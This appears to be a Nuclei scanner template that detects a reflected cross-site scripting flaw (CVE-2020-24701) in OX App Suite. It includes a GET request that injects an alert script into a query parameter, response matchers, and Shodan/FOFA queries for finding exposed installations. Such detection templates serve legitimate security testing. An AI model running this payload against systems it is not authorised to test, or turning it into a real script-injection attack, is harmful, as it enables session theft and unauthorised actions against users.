id: CVE-2020-24701

info:
  name: OX Appsuite - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
  impact: |
    Attackers can inject malicious JavaScript through the PATH_INFO parameter, potentially stealing session cookies or performing unauthorized actions on behalf of users.
  remediation: |
    Upgrade to OX App Suite version 7.10.5 or later.
  reference:
    - https://packetstormsecurity.com/files/163527/OX-App-Suite-OX-Guard-OX-Documents-SSRF-Cross-Site-Scripting.html
    - https://seclists.org/fulldisclosure/2021/Jul/33
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24701
    - https://www.open-xchange.com
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24701
    cwe-id: CWE-79
    epss-score: 0.26912
    epss-percentile: 0.96439
    cpe: cpe:2.3:a:open-xchange:open-xchange_appsuite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-xchange
    product: open-xchange_appsuite
    shodan-query:
      - html:"Appsuite"
      - http.html:"appsuite"
    fofa-query: body="appsuite"
  tags: cve,cve2020,packetstorm,seclists,appsuite,xss,open-xchange,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request with action all'
          - '<script>alert(document.domain);</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b2d6dea0fe2ce21134ff818146a1684e7cbffb02d6070fab512fe503c1b0ea15022100f773d65e9d02fffddd440333ed2c87fcbc2cb497c9d4380fafc3be1ff61ed2da:922c64590222798bb761d5b6d8e72950